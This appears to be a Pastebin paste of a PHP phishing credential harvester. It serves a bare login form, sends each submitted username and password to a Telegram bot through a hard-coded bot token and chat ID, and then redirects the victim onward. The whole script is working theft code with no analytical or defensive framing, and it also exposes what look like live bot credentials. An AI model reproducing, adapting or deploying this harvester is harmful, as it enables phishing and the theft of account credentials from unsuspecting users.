Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- if (isset($_POST['submit'])) {
- $user = $_POST['user'];
- $pass = $_POST['pass'];
- $message ="username :".$user."\npassword :".$pass."";
- $botToken="1694224755:AAEKMQOfWWl3LUN6R4BI7MFM4k1bynKnxj0";
- $chatId="1300035109";
- $website="https://api.telegram.org/bot".$botToken;
- $params=[
- 'chat_id'=>$chatId,
- 'text'=>$message,
- ];
- $ch = curl_init($website . '/sendMessage');
- curl_setopt($ch, CURLOPT_HEADER, false);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- $result = curl_exec($ch);
- curl_close($ch);
- header('location: index.php?client=email');
- }else{
- header('location: index.php?client=login');
- }
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title></title>
- </head>
- <body>
- <form action="#" method="POST">
- <input type="text" name="user"><br>
- <input type="password" name="pass"><br>
- <input type="submit" name="submit"><br>
- </form>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement